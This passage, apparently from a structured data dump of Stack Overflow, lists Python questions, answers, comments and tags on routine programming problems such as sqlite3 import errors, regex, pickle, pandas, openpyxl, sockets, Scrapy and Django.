has body: Installing jupyter notebook from jupyter Python3 version Python 3.5.2 pip list jupyter (1.0.0) jupyter-client (5.2.3) jupyter-console (5.2.0) jupyter-core (4.4.0) Running jupyter notebook Traceback (most recent call last): File "/usr/local/lib/python3.5/site-packages/notebook/services/sessions/sessionmanager.py", line 10, in &lt;module&gt; import sqlite3 File "/usr/local/lib/python3.5/sqlite3/__init__.py", line 23, in &lt;module&gt; from sqlite3.dbapi2 import * File "/usr/local/lib/python3.5/sqlite3/dbapi2.py", line 27, in &lt;module&gt; from _sqlite3 import * ImportError: No module named '_sqlite3' During handling of the above exception, another exception occurred: Traceback (most recent call last): File "/usr/local/bin/jupyter-notebook", line 7, in &lt;module&gt; from notebook.notebookapp import main File "/usr/local/lib/python3.5/site-packages/notebook/notebookapp.py", line 83, in &lt;module&gt; from .services.sessions.sessionmanager import SessionManager File "/usr/local/lib/python3.5/site-packages/notebook/services/sessions/sessionmanager.py", line 13, in &lt;module&gt; from pysqlite2 import dbapi2 as sqlite3 ImportError: No module named 'pysqlite2' Also tried sudo apt-get install libsqlite3-dev from No module named _sqlite3 How to resolve the above error?
score: 0
linked to: http://stackoverflow.com/q/1210664

http://stackoverflow.com/q/49518114
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/86041735
has title: Why \b is not returning expected output in the below regex
has body: I am trying to search for &amp;&amp; in the below text: 'if a + b &gt; 0 &amp;&amp; a - b &lt; 0:' I am able to extract &amp;&amp; by the below regex : r'(?&lt;=\s)&amp;&amp;(?=\s+)' As per my understanding, I should be able to extract &amp;&amp; by surrounding the re by\b (work boundary) r'\b&amp;&amp;\b' Why this doesn't work?
tagged with: python
tagged with: regex
has comment: http://stackoverflow.com/comment/86041714
accepted answer: http://stackoverflow.com/a/49518299
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/86041850
has answer: http://stackoverflow.com/a/49518299
answer count: 1
has comment: http://stackoverflow.com/comment/86042059

join
type: Tag
tags question: http://stackoverflow.com/q/49567291
tag name: join
tags question: http://stackoverflow.com/q/49502004
tags question: http://stackoverflow.com/q/49571428
tags question: http://stackoverflow.com/q/49522818
tags question: http://stackoverflow.com/q/49491463
tags question: http://stackoverflow.com/q/49574458

http://stackoverflow.com/comment/85907771
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49452014
has text: Are you sure about that? I cannot see anything what would block "printing in realtime".

http://stackoverflow.com/comment/85948490
has text: Are you expecting this code to work for a list with larger elements, e.g. `[11, 12, 13, 14]`?
type: QuestionComment
comment on: http://stackoverflow.com/q/49472650
type: Comment
score: 0

http://stackoverflow.com/q/49467050
tagged with: list
answer count: 0
downvote count: 0
has body: I've noticed that in Python 3.6 when removing items from a list while looping through a list, as in the code below, the loop will be exited after the first time that an item is removed. Any ideas why this is? Does this always happen when you modify the iterible that you're looping over? x = list(np.arange(5)) for i in x: if (i == 2) | (i == 3): x.remove(i) x [0, 1, 3, 4]
upvote count: 1
score: 1
tagged with: loops
favorite count: 0
type: Question
has title: Removing from list while looping through it
duplicate of: http://stackoverflow.com/q/1207406
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/85936658
tagged with: python
linked to: http://stackoverflow.com/q/1207406
has comment: http://stackoverflow.com/comment/86005420

http://stackoverflow.com/q/49525984
tagged with: python
duplicate of: http://stackoverflow.com/q/2714573
has answer: http://stackoverflow.com/a/49526077
has title: What's the difference between instancing a class within a class inside or outside __init__?
has answer: http://stackoverflow.com/a/49526099
has body: To be more clear: Is there any difference between "Goodbye" and "Farewell" in this example? Does one hold any advantages over the other? class Hello(object): def hi(self): pass class Goodbye(object): def __init__(self): self.hello = Hello() class Farewell(object): hello = Hello()
type: AnsweredQuestion
tagged with: python-2.7
score: 0
answer count: 2
type: Question
linked to: http://stackoverflow.com/q/2714573
accepted answer: http://stackoverflow.com/a/49526077
possible better answer: http://stackoverflow.com/a/49526099

http://stackoverflow.com/a/49579219
type: Answer
has comment: http://stackoverflow.com/comment/86166427
answers question: http://stackoverflow.com/q/49578886
has comment: http://stackoverflow.com/comment/86166380
score: 3
upvote count: 3
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/86166349
has comment: http://stackoverflow.com/comment/86166185
has body: Option 1 pd.get_dummies + groupby + sum v = pd.get_dummies(df.set_index('col0')) v.columns = pd.MultiIndex.from_tuples( list(map(tuple, v.columns.str.split('_'))) ) v.sum(level=0) col1 col2 no yes no yes col0 A 1 1 2 0 B 0 2 1 1 Option 2 stack + get_dummies + unstack (df.set_index('col0') .stack() .str.get_dummies() .sum(level=[0,1]) .unstack(-1) .swaplevel(0, 1, axis=1) .sort_index(level=0, axis=1) ) col1 col2 no yes no yes col0 A 1 1 2 0 B 0 2 1 1 Option 3 crosstab + concat by @Wen i = pd.crosstab(df.col0, df.col1.astype('category')) j = pd.crosstab(df.col0, df.col2.astype('category')) pd.concat([i, j], axis=1, keys=['col1','col2']) col1 col2 col1 no yes no yes col0 A 1 1 2 0 B 0 2 1 1
has comment: http://stackoverflow.com/comment/86166216
accepted answer of: http://stackoverflow.com/q/49578886
has comment: http://stackoverflow.com/comment/86167534
has comment: http://stackoverflow.com/comment/86166294
has comment: http://stackoverflow.com/comment/86167035
downvote count: 0

http://stackoverflow.com/comment/86039090
has text: While `pickle` is used to store variables and objects in Python, I doubt this is what the OP wants or needs. It is rather a question about storing data to a file, using `open` (maybe formatted as json or XML or something) however badly worded.
comment on: http://stackoverflow.com/a/49514487
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/q/49556678
has title: unpickling '_io.BufferedReader' error
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/86123042
favorite count: 0
type: Question
tagged with: python-3.x
linked to: http://stackoverflow.com/q/28077573
has comment: http://stackoverflow.com/comment/86121679
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86123100
tagged with: pickle
tagged with: python
has comment: http://stackoverflow.com/comment/86122007
has comment: http://stackoverflow.com/comment/86121329
has comment: http://stackoverflow.com/comment/86122855
score: 2
has body: Hello everyone I pickled a list of dictionaries to a file using the below code fd = open(file_name,'ab') for i in listOFDicts: pickle.dump(i,fd) fd.close() Then Now I want to load it using the below code with open(filename, 'rb') as pickleFile: content = pickle.loads(pickleFile) and I get this error "a bytes-like object is required, not '_io.BufferedReader'" when I use load() instead of loads() I get this error "UnicodeDecodeError: 'ascii' codec can't decode byte 0xc6 in position 0: ordinal not in range(128)" and if I used pickle.load(filename, encoding='latin1') I get this error "ModuleNotFoundError: No module named 'bson'" any help would be really appreciated Sincerely
has answer: http://stackoverflow.com/a/49557394
upvote count: 2

http://stackoverflow.com/a/49525633
accepted answer of: http://stackoverflow.com/q/49525569
upvote count: 1
score: 1
downvote count: 0
has body: You'll want to ensure that a split does not happen at the start/end of the string. You can do that using regex lookarounds: &gt;&gt;&gt; re.split('(?&lt;!^) +(?!$)',u' Kathy and Othon Prounis ') [' Kathy', 'and', 'Othon', 'Prounis '] Alternatively, a major simplification to the regex would mean stripping your text before calling , so you should do that if it's an option. &gt;&gt;&gt; re.split(' +', ' Kathy and Othon Prounis '.strip()) ['Kathy', 'and', 'Othon', 'Prounis'] To that end, why not just do &gt;&gt;&gt; ' Kathy and Othon Prounis '.split() ['Kathy', 'and', 'Othon', 'Prounis'] ?
answers question: http://stackoverflow.com/q/49525569
type: AcceptedAnswer
type: Answer

http://stackoverflow.com/a/49515554
has body: Yeah, there you go: a = 152 b = 255 def concat(a, b): n = next(x for x in range(10) if 10**x&gt;a) # concatenates numbers up to 10**10 return a * 10**n + b print(concat(a, b)) # -&gt; 152255
has comment: http://stackoverflow.com/comment/131197874
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/86036772
upvote count: 1
has comment: http://stackoverflow.com/comment/86036121
answers question: http://stackoverflow.com/q/49515360
score: 1

http://stackoverflow.com/comment/86139010
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49565108
has text: @Alexander Yeah, i forget to mention that. Sorry about it. I consider duplicates. :)

http://stackoverflow.com/comment/86036806
type: Comment
has text: @SBad, see the documentation here. https://pandas.pydata.org/pandas-docs/stable/generated/pandas.DataFrame.fillna.html
type: AnswerComment
comment on: http://stackoverflow.com/a/49514624
score: 1

http://stackoverflow.com/comment/122491151
type: AnswerComment
comment on: http://stackoverflow.com/a/53682745
score: 3
has text: Hiding the error is usually the wrong thing to do. This only makes sense in unusual circumstances, but more commonly is used in desperation by people who don't understand encoding. Now would be a good time to finally read [The Absolute Minimum Every Software Developer Absolutely, Positively Must Know About Unicode and Character Sets (No Excuses!)](https://www.joelonsoftware.com/2003/10/08/the-absolute-minimum-every-software-developer-absolutely-positively-must-know-about-unicode-and-character-sets-no-excuses/)
type: Comment

http://stackoverflow.com/comment/85949261
comment on: http://stackoverflow.com/q/49473440
type: QuestionComment
has text: @Aran-Fey is correct if there is no more code. If there is, it would help to see it.
type: Comment
score: 0

http://stackoverflow.com/comment/86112923
type: Comment
has text: Right, that's how I solved it. Thanks for your support!
comment on: http://stackoverflow.com/a/49552570
type: AnswerComment
score: 1

http://stackoverflow.com/a/49557836
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/86151782
answers question: http://stackoverflow.com/q/49555407
has comment: http://stackoverflow.com/comment/86199900
type: Answer
has body: You can use related fields: class NewModdel(models.Model): _name = "new.model" employee_id = fields.Many2one("hr.employee", string="Employee") employee_name = fields.Char("Name", related="employee_id.name") birthday = fields.Date("Birthday", related="employee_id.birthday") You can find doc at related-field
downvote count: 0

http://stackoverflow.com/comment/86053304
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/49522553
has text: @TylerNG, have a go at using `lambda`. There are examples in the marked duplicate.
score: 0

http://stackoverflow.com/q/49573081
favorite count: 0
tagged with: logistic-regression
has comment: http://stackoverflow.com/comment/86156865
has comment: http://stackoverflow.com/comment/86154298
has comment: http://stackoverflow.com/comment/86153814
has comment: http://stackoverflow.com/comment/86154488
has comment: http://stackoverflow.com/comment/86155047
has title: Coefficients in sklearn.linear_model.LogisticRegression
has comment: http://stackoverflow.com/comment/86153912
tagged with: python
has comment: http://stackoverflow.com/comment/86154978
has comment: http://stackoverflow.com/comment/86154841
type: Question
has comment: http://stackoverflow.com/comment/86155739
has comment: http://stackoverflow.com/comment/86159469
has comment: http://stackoverflow.com/comment/86154053
score: 0
has comment: http://stackoverflow.com/comment/86155125
has comment: http://stackoverflow.com/comment/86156782
has comment: http://stackoverflow.com/comment/86153816
answer count: 0
has body: I am watching the MIT open course for python and data science, 6.0002. It was teaching logistic regression in lecture 13. Here is the code: import sklearn.linear_model def buildModel(examples, toPrint = True): featureVecs, labels = [],[] for e in examples: featureVecs.append(e.getFeatures()) labels.append(e.getLabel()) LogisticRegression = sklearn.linear_model.LogisticRegression model = LogisticRegression().fit(featureVecs, labels) if toPrint: print('model.classes_ =', model.classes_) print('model.coef_ =', model.coef_) for i in range(len(model.coef_)): print('For label', model.classes_[1]) for j in range(len(model.coef_[0])): print(' ', Passenger.featureNames[j], '=', model.coef_[0][j]) return model model = buildModel(trainingSet, True) And here is the output: model.classes_ = ['Died' 'Survived'] model.coef_ = [[ 1.63216725 0.4504459 -0.52476792 -0.03218074 -2.29930577]] For label Survived C1 = 1.63216724529 C2 = 0.450445901238 C3 = -0.524767915254 age = -0.0321807370827 male gender = -2.29930576947 I have two question: Why model.coef_ only has one element while model.classes_ has two? Shouldn't their lengths match? Why the values of model.coef_ are the coefficients of label "Survived" instead of label "Died"? I mean if the order of elements in model.classes_ and model.coef_ are identical, the numbers in coef_ should be for label "Died", right? Since "Died" comes first. Thanks!
has comment: http://stackoverflow.com/comment/86154197
type: UnansweredQuestion
tagged with: regression
has comment: http://stackoverflow.com/comment/86155344
tagged with: machine-learning
has comment: http://stackoverflow.com/comment/86153691
upvote count: 1
tagged with: scikit-learn
downvote count: 1

http://stackoverflow.com/comment/85959885
has text: If you want to go the xauth route, you could probably get started by checking answers to questions like this: https://raspberrypi.stackexchange.com/questions/1719/x11-connection-rejected-because-of-wrong-authentication
score: 0
comment on: http://stackoverflow.com/q/49475022
type: Comment
type: QuestionComment

databricks
tag name: databricks
type: Tag
tags question: http://stackoverflow.com/q/49573267
tags question: http://stackoverflow.com/q/49503551

http://stackoverflow.com/q/49575837
answer count: 2
score: 1
upvote count: 1
has title: Check if item field exist in pymongo database using scrapy
has answer: http://stackoverflow.com/a/49575933
has body: I'm trying to check if item ['email'] already exists in database, if it does not exist then insert into pymongo database. i do not want duplicate emails within the pymongo database. however i get this ValueError: dictionary update sequence element #0 has length 17; 2 is required this is what i have so far Pipelines.py class myExporter(object): def __init__(self): i = 0 while os.path.exists(SRCFILE % i): i += 1 self.filename = SRCFILE % i with open(self.filename, 'w') as output: output = csv.writer(output) output.writerow(['Email', 'Website', 'Phone Number', 'Location']) connection = pymongo.MongoClient(settings['MONGODB_HOST'], settings['MONGODB_PORT']) db = connection[settings['MONGODB_DATABASE']] self.collection = db[settings['MONGODB_COLLECTION']] def process_item(self, item, spider): self.email = self.collection.find(dict(item['email'])) for x in self.email: if x not in self.email: self.collection.insert(dict(item)) log.msg("Item wrote to MongoDB database {}, collection {}, at host {}, port {}".format( settings['MONGODB_DATABASE'], settings['MONGODB_COLLECTION'], settings['MONGODB_HOST'], settings['MONGODB_PORT'])) with open(self.filename, 'a') as output: output = csv.writer(output) output.writerow([item['email'], item['website'], item['phonenumber'], item['location']]) folder = os.path.join(DESTINATION_FOLDER, os.path.basename(self.filename)) shutil.copy(self.filename, folder) return item class MongoPipeline(object): collection_name = 'scrapy_items' def __init__(self, mongo_uri, mongo_db): self.mongo_uri = mongo_uri self.mongo_db = mongo_db @classmethod def from_crawler(cls, crawler): return cls( mongo_uri=crawler.settings.get('MONGO_URI'), mongo_db=crawler.settings.get('MONGO_DATABASE', 'items') ) def open_spider(self, spider): self.client = pymongo.MongoClient(self.mongo_uri) self.db = self.client[self.mongo_db] def close_spider(self, spider): self.client.close() def process_item(self, item, spider): self.db[self.collection_name].insert_one(dict(item)) return…
tagged with: pymongo
downvote count: 0
tagged with: scrapy
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49591288
type: UnansweredQuestion
tagged with: python

svm
tags question: http://stackoverflow.com/q/49542914
tags question: http://stackoverflow.com/q/49561882
tag name: svm
tags question: http://stackoverflow.com/q/49544057
type: Tag
tags question: http://stackoverflow.com/q/49507066
tags question: http://stackoverflow.com/q/49513018
tags question: http://stackoverflow.com/q/49465891
tags question: http://stackoverflow.com/q/49582884

http://stackoverflow.com/q/49487952
has title: How to plot the difference of two distributions in a seaborn?
has body: I have the following code to compare two distributions: sns.kdeplot(df['term'][df['outcome'] == 0], shade=1, color='red') sns.kdeplot(df['term'][df['outcome'] == 1], shade=1, color='green'); It looks like this: How do to plot just the difference of both distributions (disA - disB)? Of course, it could contain negative values.
tagged with: matplotlib
tagged with: python
upvote count: 11
type: AnsweredQuestion
downvote count: 0
has answer: http://stackoverflow.com/a/49488495
accepted answer: http://stackoverflow.com/a/49488495
tagged with: seaborn
answer count: 1
score: 11
favorite count: 0
type: Question

http://stackoverflow.com/q/49580399
answer count: 1
tagged with: file
has body: I'm learning socket programming and Python and I need to create a server that accepts several files from a client. when I receive the one of the files I get this error: ValueError: invalid literal for int() with base 2: '&lt;!DOCTYPE html PUBLIC "-//W3C//D' I do not understand why! Thanks for your help! client.py for files in directory: try: print files filename = files size = len(filename) size = bin(size)[2:].zfill(16) s.send(size) s.send(filename) filename = os.path.join(path,filename) filesize = os.path.getsize(filename) filesize = bin(filesize)[2:].zfill(32) # s.send(filesize) file_to_send = open(filename, 'rb') l = file_to_send.read() s.sendall(l) file_to_send.close() print 'File Sent' except socket.error, e: print "Error sending data: %s" % e server.py while True: size = clientsocket.recv(16) if not size: break size = int(size) filename = clientsocket.recv(size) filesize = clientsocket.recv(32) filesize = int(filesize,2) file_to_write = open("/home/giorgio/Scrivania/SERVER/Download/"+'new_'+filename, 'wb') num_files += 1 chunksize = 1024 while filesize &gt; 0: if filesize &lt; chunksize: chunksize = filesize data = clientsocket.recv(chunksize) file_to_write.write(data) filesize -= len(data) file_to_write.close() print 'File received successfully' serversock.close()
downvote count: 1
favorite count: 0
type: Question
has title: Python - Receive muliple files
tagged with: server
has comment: http://stackoverflow.com/comment/86169347
has comment: http://stackoverflow.com/comment/86334951
upvote count: 0
type: UnansweredQuestion
tagged with: sockets
tagged with: python
linked to: http://stackoverflow.com/q/34371096
score: -1
has comment: http://stackoverflow.com/comment/86168910
tagged with: client
has comment: http://stackoverflow.com/comment/86317013
has comment: http://stackoverflow.com/comment/86169372
has answer: http://stackoverflow.com/a/49580606
has comment: http://stackoverflow.com/comment/86169335

http://stackoverflow.com/a/49573438
has body: The difference between login and register is up to your project, it looks like in your scenario, a user landing in your pipeline function that matches an email in your DB should be considered like a login attempt and not a new singup. That's basically the functionality of associate_by_email method. You might see the potential risk in this when a user uses a service that doesn't validate the email addresses, they can take control over somebody else account. You can mitigate this by doing validation on your end after any new social account is added, or by trusting services that are known to validate emails on their ends.
type: Answer
score: 0
answers question: http://stackoverflow.com/q/49567351

http://stackoverflow.com/q/49518071
answer count: 2
upvote count: 2
tagged with: excel-automation
possible better answer: http://stackoverflow.com/a/59283971
downvote count: 0
accepted answer: http://stackoverflow.com/a/49518858
tagged with: python
has answer: http://stackoverflow.com/a/59283971
type: AnsweredQuestion
tagged with: copy-paste
score: 2
tagged with: openpyxl
has title: openpyxl - "copy/paste" range of cells
has answer: http://stackoverflow.com/a/49518858
favorite count: 0
type: Question
has body: I'm new to Python and I'm trying to adapt some of my VBA code to it using the openpyxl library. On this particular case, I'm trying to copy 468 rows in a single column from a workbook according to the string in the header and to paste them in another workbook in a particular column that has another specific string as a header. I can't simply select the range of cells I want to copy because this is part of a report automation and the headers change positions from file to file. What's the function I need to use to copy each of the 468 cells from one workbook into the 468 cells of the second workbook? Or alternatively how can I copy a range of cells and then paste them in another workbook? Here is my code and I know exactly what's wrong: I'm copying one cell (the last from the first workbook) repeatedly into the 468 cells of the second workbook. #!/usr/bin/python3 import pdb import openpyxl from openpyxl.utils import column_index_from_string wb1 = openpyxl.load_workbook('.../Extraction.xlsx') wb2 = openpyxl.load_workbook('.../Template.xlsx') ws1 = wb1.active first_row1 = list(ws1.rows)[0] #to select the first row (header) for cell in first_row1: if cell.value == "email": x = cell.column #to get the column y = column_index_from_string(x) #to get the column's index for i in range(2, 469): cell_range1 = ws1.cell(i, y) #the wrong part ws2 = wb2.active first_row2 = list(ws2.rows)[0] for cell in first_row2: if cell.value == "emailAddress": w = cell.column z = column_index_from_string(w) for o in range(2, 469): cell_range2 = ws2.cell(o, z) cell_range2.value = cell_range1.value path = '.../Test.xlsx' wb2.save(path)

http://stackoverflow.com/q/49455110
answer count: 1
has body: I have an XML file looking something like: <c> </c> <d> <e> <f>Value</f> </e> </d> <d> <e> <f>Value2</f> </e> </d> . . . I am trying to use the following Python code to retrieve all data from the nodes, i.e. Value1, Value2..... Is my understanding correct here? import xml.etree.ElementTree as ET tree = ET.parse('file.xml') for elem in tree.iterfind('a/d/e/f'): print(elem.tag, elem.attrib) However, I am just getting an empty loop. I have also tried findall() using online examples but getting nowhere. I just want to verify I am understanding their capabilities correctly.
tagged with: elementtree
has title: Python XML getting all tags of name "X"
downvote count: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/85913151
tagged with: python
score: -1
tagged with: http://stackoverflow.com/tag/xml
has answer: http://stackoverflow.com/a/49455238
upvote count: 0
type: UnansweredQuestion

http://stackoverflow.com/q/49530208
tagged with: matplotlib
has comment: http://stackoverflow.com/comment/86066996
tagged with: scikit-image
tagged with: python
linked to: http://stackoverflow.com/q/9215658
tagged with: geometry
has body: I have an image which I define like the following: img = np.zeros(474,474) I would like to draw true filled circles and not polygonal approximations of circles on this image at different coordinates as centre and of a fixed radius. For example, I want to draw two circles with centres (100,200) and (150,372) with radius 2 pixels. What I am expecting is that after plotting the circles, the entries of the original image img should change to all ones where the circle is present. I tried opencv cv.circlemodule as well as skimage.draw.circle module but they generate some polynomial approximation of circle. I was also trying the following in matplotlib but I don't seem to understand how to plot it on my image img. Any help would be appreciated. from matplotlib.patches import Circle img=np.zeros(474,474) fig = plt.figure() ax = fig.add_subplot(111) centers = [(100,200),(150,372)] for i in range(len(centers)): Circle((centers[i][0],centers[i][1]), radius= 2)
has comment: http://stackoverflow.com/comment/86066953
has comment: http://stackoverflow.com/comment/86066821
has answer: http://stackoverflow.com/a/49530937
type: AnsweredQuestion
upvote count: 3
score: 3
has title: Drawing true filled circle on an image
answer count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/86067436
tagged with: plot
favorite count: 0
accepted answer: http://stackoverflow.com/a/49530844
possible better answer: http://stackoverflow.com/a/49530937
has answer: http://stackoverflow.com/a/49530844
type: Question
has comment: http://stackoverflow.com/comment/86067044

http://stackoverflow.com/q/49480072
has comment: http://stackoverflow.com/comment/85963413
answer count: 2
has title: calculating distance between two coordinate arrays python
duplicate of: http://stackoverflow.com/q/27678583
has body: I have an array of 4 coordinates in each array x0 = [1,2,3,4] #x_coordinates y0 = [1,2,3,4] #y_coordinates x1 = [11,12,13,14] #x_coordinates y1 = [11,12,13,14] #y_coordinates I would like to find the distance between the two coordinates. distance = sqrt((x1 - x0)^2 + (y1 - y0)^2) So, I tried distance = math.sqrt((x1 - x0)**2 + (y1 - y0)**2) But the error is TypeError: only length-1 arrays can be converted to Python scalars. Isnt it possible to do an element wise operation by just using the array_variable? Or do I have to iterate it by using a for loop? I found this as a probable answer, but looks quite complicated with numpy. calculating distance between two numpy arrays EDIT: Tried the following x_dist = pow((x1 - x0), 2) y_dist = pow((y1 - y0), 2) dist = x_dist+y_dist dist=dist**2
tagged with: arrays
accepted answer: http://stackoverflow.com/a/49480170
tagged with: python
possible better answer: http://stackoverflow.com/a/49480183
has answer: http://stackoverflow.com/a/49480170
has comment: http://stackoverflow.com/comment/85963233
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/85963081
has comment: http://stackoverflow.com/comment/85963303
linked to: http://stackoverflow.com/q/27678583
has comment: http://stackoverflow.com/comment/85963155
has answer: http://stackoverflow.com/a/49480183
type: Question

http://stackoverflow.com/comment/86126800
comment on: http://stackoverflow.com/q/49557365
score: 0
type: Comment
type: QuestionComment
has text: that's a version compatibility problem, see https://github.com/statsmodels/statsmodels/issues/3931#issuecomment-365384886 for workaround until the next statsmodels release

http://stackoverflow.com/comment/86055079
score: 0
has text: Welcome to StackOverflow. Please read and follow the posting guidelines in the help documentation, as suggested when you created this account. [On topic](http://stackoverflow.com/help/on-topic) and [how to ask](http://stackoverflow.com/help/how-to-ask) apply here. StackOverflow is not a design, coding, research, or tutorial service.
comment on: http://stackoverflow.com/q/49524553
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/86039252
has text: @nicoco ready!.
type: Comment
score: 0
comment on: http://stackoverflow.com/q/49515189
type: QuestionComment

http://stackoverflow.com/comment/86182706
score: 0
has text: `import win32com.client catapp = win32com.client.Dispatch('CATIA.Application') os.system(executableCatiaVBS)` The error that appears is _comerror: (-2147221005, 'Ung\xfcltige Klassenzeichenfolge', None, None)_
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49587047

http://stackoverflow.com/comment/85908647
has text: Just a suggestion, but you should add ^ that to your original post so people don't have to read through the comments to find the request. You'll attract more help that way
score: 2
comment on: http://stackoverflow.com/q/49452840
type: QuestionComment
type: Comment

http://stackoverflow.com/q/49549683
type: UnansweredQuestion
has body: I have form in my django app, that send_email in ajax. But when i have deployed this on my hosting, it doesn't react for submit... i even dont understand how i can debug it. I have remove function send_mail and just trying to make redirect or even just HttpResponse to submit, but when clicking submit it doest work and dont showing any errors to my console.. Here is code: forms.py from django import forms class ContactForm(forms.Form): user_name = forms.CharField(label='name', max_length=128, required=True) email = forms.EmailField(label='Email', max_length=128, required=True) subject = forms.CharField(label='subject', max_length=128, required=True) message = forms.CharField(label='message', widget=forms.Textarea, required=True) views.py from django.shortcuts import render, HttpResponse, redirect from .forms import ContactForm def contacts(request): form = ContactForm(request.POST or None) if form.is_valid(): user_name = request.POST.get('user_name', '') email = request.POST.get('email', '') subject = request.POST.get('subject', '') message = request.POST.get('message', '') return HttpResponse('Success!') ctx = { 'form': form, } return render(request, 'contacts.html', ctx) contacts.html &lt;form method="post" id="contact-form"&gt; {% csrf_token %} {% bootstrap_form form %} &lt;div class="form-group"&gt; &lt;input type="submit" class="btn button"&gt; &lt;/div&gt; &lt;/form&gt; Sorry for bad english.
has comment: http://stackoverflow.com/comment/86117161
tagged with: django
has comment: http://stackoverflow.com/comment/86110111
tagged with: sendmail
has comment: http://stackoverflow.com/comment/86117666
tagged with: python
has title: Django form do nothing on hosting?
type: Question
answer count: 0
has comment: http://stackoverflow.com/comment/86107806
score: 0

http://stackoverflow.com/comment/85988294
score: 3
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49492421
has text: [ndarray.fill](https://docs.scipy.org/doc/numpy-1.12.0/reference/generated/numpy.ndarray.fill.html) (disclaimer: linked older docs; first google result; check your version of numpy)

http://stackoverflow.com/q/49450714
type: Question
tagged with: dataframe
tagged with: python
type: AnsweredQuestion
has body: I have got a dataframe that represent 1 Sec of data that supposed to be sample at 100 Hz. I would like to 1) resample it which at the rate of 10 Millisecond with "avg" approach for each column and 2) add extra rows based on interpolation approach when missing, as in the following: DF_input: ephoc_as_datatime att1 att2 2000-01-01 11:22:37.130 0 4 2000-01-01 11:22:37.138 1 5 2000-01-01 11:22:37.149 2 6 2000-01-01 11:22:37.156 3 7 2000-01-01 11:22:37.165 4 8 2000-01-01 11:22:37.168 5 9 2000-01-01 11:22:37.169 3 7 2000-01-01 11:22:37.567 7 3 2000-01-01 11:22:38.120 8 4 DF_output: ephoc_as_datatime att1 att2 2000-01-01 11:22:37.130 0 4 2000-01-01 11:22:37.140 1 5 2000-01-01 11:22:37.150 2 6 2000-01-01 11:22:37.160 3 7 2000-01-01 11:22:37.170 4 8 ....adding the missing one 2000-01-01 11:22:37.570 7 3 ....adding the missing one 2000-01-01 11:22:38.120 8 4 I know that I should be using resample and interpolate. Please, any suggestion would be very appreciated. Many Thanks, Best Regards, Carlo
tagged with: pandas
score: 1
answer count: 1
downvote count: 0
accepted answer: http://stackoverflow.com/a/49450778
upvote count: 1
has title: Resemplig and adding missing rows
has answer: http://stackoverflow.com/a/49450778
favorite count: 0

http://stackoverflow.com/a/49499961
answers question: http://stackoverflow.com/q/49492264
downvote count: 0
type: Answer
has body: As Murphy's Law would have it Ekhumoro already provides an answer. It seems one should subclass QGraphicsScene and add the necessary signal. this is then triggered from the QGraphicsItem/Widget. This requires that all items within a scene be sub-classed to ensure that they call the corresponding emit function but it seems must do this do this anyhow when working with the graphics scene stuff. I'll not mark this as answered for a bit in case some one has a better suggestion. import sys from PyQt5.QtWidgets import QWidget, QApplication, qApp, QMainWindow, QGraphicsScene, QGraphicsView, QStatusBar, QGraphicsWidget, QStyle, QGraphicsItem from PyQt5.QtCore import Qt, QSizeF, pyqtSignal class Square(QGraphicsWidget) : """ doc string """ def __init__(self,*args, name = None, **kvps) : super().__init__(*args, **kvps) self.radius = 5 self.name = name self.setAcceptHoverEvents(True) self.setFlag(self.ItemIsSelectable) self.setFlag(self.ItemIsFocusable) def sizeHint(self, hint, size): size = super().sizeHint(hint, size) print(size) return QSizeF(50,50) def paint(self, painter, options, widget): self.initStyleOption(options) ink = options.palette.highLight() if options.state == QStyle.State_Selected else options.palette.button() painter.setBrush(ink) # ink painter.drawRoundedRect(self.rect(), self.radius, self.radius) def hoverEnterEvent(self, event) : super().hoverEnterEvent(event) self.scene().entered.emit(self) self.update() class GraphicsScene(QGraphicsScene) : entered = pyqtSignal([QGraphicsItem],[QGraphicsWidget]) class MainWindow(QMainWindow): def __init__(self, *args, **kvps) : super().__init__(*args, **kvps) # Status bar self.stat = QStatusBar(self) self.setStatusBar(self.stat) self.stat.showMessage("Started") # Widget(s) self.data = GraphicsScene(self) self.data.entered.connect(self.itemInfo) self.data.focusItemChanged.connect(self.update) self.view = QGraphicsView(self.data, self) item = Square(name = "A") item.setPos( 50,0) self.data.addItem(item) item = Square(name…
score: 2
upvote count: 2

http://stackoverflow.com/a/49460911
has body: Maybe if you want to reuse the words later, you can store them in a sub-dictionary along with its ocurrences number. Each word will have its place in a dictionary. We can create our own function to remove punctuation, pretty simple. See if the code bellow serves your needs: def remove_punctuation(word): for c in word: if not c.isalpha(): word = word.replace(c, '') return word def word_dic(s): words = s.lower().split(' ') result = {} for word in words: word = remove_punctuation(word) if not result.get(word, None): result[word] = { 'word': word, 'ocurrences': 1, } continue result[word]['ocurrences'] += 1 return result phrase = 'Who am I and who are you? Are we gods? Gods are we? We are what we are!' print(word_dic(phrase)) and you'll have an output like this: { 'who': { 'word': 'who', 'ocurrences': 2}, 'am': { 'word': 'am', 'ocurrences': 1}, 'i': { 'word': 'i', 'ocurrences': 1}, 'and': { 'word': 'and', 'ocurrences': 1}, 'are': { 'word': 'are', 'ocurrences': 5}, 'you': { 'word': 'you', 'ocurrences': 1}, 'we': { 'word': 'we', 'ocurrences': 4}, 'gods': { 'word': 'gods', 'ocurrences': 2}, 'what': { 'word': 'what', 'ocurrences': 1} } Then you can easily access each word and its ocurrences simply doing: word_dict(phrase)['are']['word'] # output: are word_dict(phrase)['are']['ocurrences'] # output: 5
answers question: http://stackoverflow.com/q/49460426
type: Answer
has comment: http://stackoverflow.com/comment/85932500
score: 0
has comment: http://stackoverflow.com/comment/85932284

http://stackoverflow.com/comment/86077766
score: 1
type: Comment
